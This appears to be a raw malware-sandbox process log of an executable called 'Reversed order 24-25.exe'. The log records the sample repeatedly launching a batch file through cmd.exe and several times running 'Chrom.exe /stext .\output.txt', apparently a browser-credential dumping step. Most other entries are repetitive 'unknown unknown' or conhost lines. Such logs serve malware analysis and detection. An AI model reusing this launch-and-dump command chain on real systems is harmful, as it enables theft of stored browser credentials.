Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
